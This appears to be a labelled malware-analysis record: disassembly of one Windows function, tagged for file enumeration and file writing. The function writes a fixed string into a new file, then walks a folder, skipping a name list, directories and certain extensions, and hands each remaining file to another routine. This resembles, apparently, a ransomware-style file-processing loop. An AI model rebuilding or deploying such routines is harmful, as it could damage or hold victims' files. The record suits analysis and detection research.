Function at 0x40a2b0
Capabilities:
Enumerate files on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x278
push 0x10000
call fcn.00412e00
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40a5b4
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x403b00
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0
push 0
push 1
push 0
push 1
push 0x40000000
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x40a33d
push 0
lea ecx, [ebp - 0x28]
push ecx
push 0x401a70
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push 0x401a70
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x403b40
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea ecx, [ebp - 0x278]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
je 0x40a519
mov dword [ebp - 0xc], 0
jmp 0x40a38a
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x22
jae 0x40a3b8
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx*4 + 0x414130]
push edx
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
jne 0x40a3b6
jmp 0x40a4f1
jmp 0x40a381
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x403b48
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea ecx, [ebp - 0x24c]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
mov eax, dword [ebp - 0x278]
and eax, 0x10
jne 0x40a4f1
push 0x403b4c
lea ecx, [ebp - 0x24c]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
je 0x40a4f1
lea edx, [ebp - 0x24c]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
sub eax, 1
mov dword [ebp - 8], eax
jmp 0x40a42d
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jl 0x40a49b
mov ecx, dword [ebp - 8]
movzx edx, word [ebp + ecx*2 - 0x24c]
cmp edx, 0x2e
jne 0x40a499
push 0x403b88
mov eax, dword [ebp - 8]
lea ecx, [ebp + eax*2 - 0x24c]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x40a491
push 0x403b94
mov edx, dword [ebp - 8]
lea eax, [ebp + edx*2 - 0x24c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x40a491
push 0x403ba0
mov ecx, dword [ebp - 8]
lea edx, [ebp + ecx*2 - 0x24c]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
jne 0x40a497
jmp 0x40a4f1
jmp 0x40a49b
jmp 0x40a424
push 0
mov eax, dword [ebp - 4]
push eax
push 0x4141fc
call fcn.00412f70
add esp, 0xc
test eax, eax
jne 0x40a4f1
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x24]
push ecx
push 0
push 0x4141fc
call fcn.00412ed0
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40a4ef
mov edx, dword [ebp - 0x14]
push edx
call fcn.00409720
add esp, 4
mov eax, dword [ebp - 0x14]
push eax
call fcn.00412e30
add esp, 4
jmp 0x40a4b9
jmp 0x40a49b
lea ecx, [ebp - 0x278]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x40a378
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
jmp 0x40a5a8
cmp dword [0x41425c], 0
je 0x40a5a8
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
call fcn.00412e00
add esp, 4
mov dword [ebp - 0x1c], eax
push 0
push 0
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
mov edx, dword [ebp - 0x1c]
push edx
push 0x403bb0
call fcn.00404cb0
add esp, 0xc
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00412e30
add esp, 4
mov ecx, dword [ebp - 4]
push ecx
call fcn.00412e30
add esp, 4
mov esp, ebp
pop ebp
ret